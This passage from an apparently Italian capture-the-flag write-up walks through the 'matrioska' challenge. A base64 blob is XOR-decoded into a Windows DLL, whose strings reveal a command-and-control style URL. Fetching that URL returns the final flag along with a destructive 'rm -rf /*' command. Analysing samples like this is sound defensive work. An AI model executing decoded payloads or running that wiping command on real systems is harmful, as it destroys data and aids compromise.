IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjMyMjFyMjI7MTuxOYE/ATwRPTEykSNxI9EgsSExKLEpUS9xLKEtUSKhEzET0RcxF5ES
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
MjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw== | base64 -d
| python xor.py > matrioska_final
```

Il contenuto finale si troverà ora, dunque, all’interno del file **`matrioska_final`**

Non si tratta più di uno script, evidentemente. Andandolo ad analizzare col comando file, otteniamo infatti:

```
matrioska_final: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
```

Andiamo a vedere se al suo interno esistono delle stringhe che in qualche modo possono tornarci utili:

```
strings matrioska_final
```

…

…

`/me_evil_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPaplYKKMgbaHmy_xx6h`

```
SSSWSVh

_SSSSVh-
```

matrioska.swascan.com

…

…

Riusciamo a identificare in effetti le tracce di una possibile URL, con un possibile

- hostname **matrioska.swascan.com**
- ed un possibile percorso
  /me_evil_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPaplYKKMgbaHmy_xx6h

Col comando cURL,

curl http://matrioska.swascan.com/me_evil_devil/86Cfs7EAqTpqsWuwCsnuZQtdNAPaplYKKMgbaHmy_xx6h

otteniamo infine l'ultima flag:

{"last_flag":"C0mmand_and_C0ntrol_here", "command":"rm -rf /*"}